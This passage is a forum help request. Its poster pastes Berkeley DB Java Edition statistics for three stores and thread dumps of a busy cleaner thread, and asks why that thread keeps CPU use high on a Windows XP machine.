nRepeatIteratorReads=0
nFileOpens=16
nOpenFiles=5
totalLogSize=10,051,494,660
------------------ DB NAME store1 BDB STATS END ---------------------
------------------ DB NAME store2 BDB STATS START ---------------------
Compression stats
splitBins=0
dbClosedBins=0
cursorsBins=0
nonEmptyBins=0
processedBins=0
inCompQueueSize=0
Eviction stats
nEvictPasses=1,484
nNodesSelected=64,150
nNodesScanned=645,302
nNodesExplicitlyEvicted=31,175
nRootNodesEvicted=3
nBINsStripped=32,971
requiredEvictBytes=545,715
Checkpoint stats
nCheckpoints=23
lastCheckpointId=1,091
nFullINFlush=786
nFullBINFlush=369
nDeltaINFlush=83,587
lastCheckpointStart=0x19/0x1c867553
lastCheckpointEnd=0x19/0x1cbf4c23
endOfLog=0x19/0x1da9a82d
Cleaner stats
cleanerBacklog=6
nCleanerRuns=1
nCleanerDeletions=0
nINsObsolete=0
nINsCleaned=0
nINsDead=0
nINsMigrated=0
nLNsObsolete=0
nLNsCleaned=0
nLNsDead=0
nLNsLocked=0
nLNsMigrated=137,251
nLNsMarked=0
nLNQueueHits=0
nPendingLNsProcessed=0
nMarkedLNsProcessed=137,210
nToBeCleanedLNsProcessed=41
nClusterLNsProcessed=0
nPendingLNsLocked=0
nCleanerEntriesRead=284,941
Cache stats
nNotResident=115,933
nCacheMiss=114,144
nLogBuffers=3
bufferBytes=3,145,728
dataBytes=100,332,651
adminBytes=929,276
lockBytes=240
cacheTotalBytes=104,407,895
sharedCacheTotalBytes=0
nSharedCacheEnvironments=0
IO Stats
nRandomReads=62,928
nRandomWrites=584
nSequentialReads=151,506
nSequentialWrites=2
nRandomReadBytes=183,549,952
nRandomWriteBytes=594,201,681
nSequentialReadBytes=3,364,667,387
nSequentialWriteBytes=828,678
Logging stats
nFSyncs=23
nFSyncRequests=23
nFSyncTimeouts=0
nRepeatFaultReads=33,167
nTempBufferWrite=0
nRepeatIteratorReads=0
nFileOpens=16
nOpenFiles=5
totalLogSize=10,161,297,881
------------------ DB NAME store2 BDB STATS END ---------------------
------------------ DB NAME store3 BDB STATS START ---------------------
Compression stats
splitBins=0
dbClosedBins=0
cursorsBins=0
nonEmptyBins=0
processedBins=0
inCompQueueSize=0
Eviction stats
nEvictPasses=1,505
nNodesSelected=65,097
nNodesScanned=654,826
nNodesExplicitlyEvicted=31,615
nRootNodesEvicted=3
nBINsStripped=33,478
requiredEvictBytes=529,755
Checkpoint stats
nCheckpoints=24
lastCheckpointId=1,092
nFullINFlush=809
nFullBINFlush=375
nDeltaINFlush=87,260
lastCheckpointStart=0x19/0x1e00e932
lastCheckpointEnd=0x19/0x1e335c8d
endOfLog=0x19/0x1e3e8bae
Cleaner stats
cleanerBacklog=6
nCleanerRuns=1
nCleanerDeletions=0
nINsObsolete=0
nINsCleaned=0
nINsDead=0
nINsMigrated=0
nLNsObsolete=0
nLNsCleaned=0
nLNsDead=0
nLNsLocked=0
nLNsMigrated=143,591
nLNsMarked=0
nLNQueueHits=0
nPendingLNsProcessed=0
nMarkedLNsProcessed=143,550
nToBeCleanedLNsProcessed=41
nClusterLNsProcessed=0
nPendingLNsLocked=0
nCleanerEntriesRead=288,443
Cache stats
nNotResident=117,507
nCacheMiss=115,697
nLogBuffers=3
bufferBytes=3,145,728
dataBytes=100,356,995
adminBytes=953,476
lockBytes=240
cacheTotalBytes=104,456,439
sharedCacheTotalBytes=0
nSharedCacheEnvironments=0
IO Stats
nRandomReads=63,792
nRandomWrites=594
nSequentialReads=152,665
nSequentialWrites=2
nRandomReadBytes=190,541,824
nRandomWriteBytes=604,059,370
nSequentialReadBytes=3,390,746,461
nSequentialWriteBytes=828,678
Logging stats
nFSyncs=24
nFSyncRequests=24
nFSyncTimeouts=0
nRepeatFaultReads=33,586
nTempBufferWrite=0
nRepeatIteratorReads=0
nFileOpens=16
nOpenFiles=5
totalLogSize=10,171,054,372
------------------ DB NAME store3 BDB STATS END ---------------------
Thread dumps show cleaner doing different things but mostly working with files.
Of all the threads from thread dump, Cleaner is the only one is runnable state - dont know what it is trying to do but CPU is high (dual core machine and one core is almost at 90%).
At time 3 (thread dump shows cleaner thread again)
"Cleaner-1" daemon prio=6 tid=0x03137800 nid=0x153c runnable [0x03adf000]
java.lang.Thread.State: RUNNABLE
at java.util.zip.Adler32.updateBytes(Native Method)
at java.util.zip.Adler32.update(Unknown Source)
at com.sleepycat.je.log.ChecksumValidator.update(ChecksumValidator.java:
61)
at com.sleepycat.je.log.FileReader.validateChecksum(FileReader.java:589)
at com.sleepycat.je.log.FileReader.readNextEntry(FileReader.java:314)
at com.sleepycat.je.cleaner.FileProcessor.processFile(FileProcessor.java
:384)
at com.sleepycat.je.cleaner.FileProcessor.doClean(FileProcessor.java:232
- locked <0x1542f998> (a com.sleepycat.je.cleaner.FileProcessor)
at com.sleepycat.je.cleaner.FileProcessor.onWakeup(FileProcessor.java:13
7)
at com.sleepycat.je.utilint.DaemonThread.run(DaemonThread.java:140)
at java.lang.Thread.run(Unknown Source)
At time 4
"Cleaner-1" daemon prio=6 tid=0x03137800 nid=0x153c runnable [0x03adf000]
java.lang.Thread.State: RUNNABLE
at java.io.RandomAccessFile.readBytes(Native Method)
at java.io.RandomAccessFile.read(Unknown Source)
at com.sleepycat.je.log.FileManager.readFromFileInternal(FileManager.jav
a:1456)
- locked <0x1a201ca8> (a java.io.RandomAccessFile)
at com.sleepycat.je.log.FileManager.readFromFile(FileManager.java:1377)
at com.sleepycat.je.log.FileReader.fillReadBuffer(FileReader.java:786)
at com.sleepycat.je.log.FileReader.readData(FileReader.java:661)
at com.sleepycat.je.log.FileReader.readNextEntry(FileReader.java:297)
at com.sleepycat.je.cleaner.FileProcessor.processFile(FileProcessor.java
:384)
at com.sleepycat.je.cleaner.FileProcessor.doClean(FileProcessor.java:232
- locked <0x1528be68> (a com.sleepycat.je.cleaner.FileProcessor)
at com.sleepycat.je.cleaner.FileProcessor.onWakeup(FileProcessor.java:13
7)
at com.sleepycat.je.utilint.DaemonThread.run(DaemonThread.java:140)
at java.lang.Thread.run(Unknown Source)
Values have timestamps (nano) and versions + actual value which is about 300 bytes.
JDK = 1.6.04, JE 3.3.62. this experiment was done on XP.
Any help is appreciated.
Regards
Vissu

Describe HTMLDB_APPLICATION_FILES pegs CPU

Similar Messages

Maybe you are looking for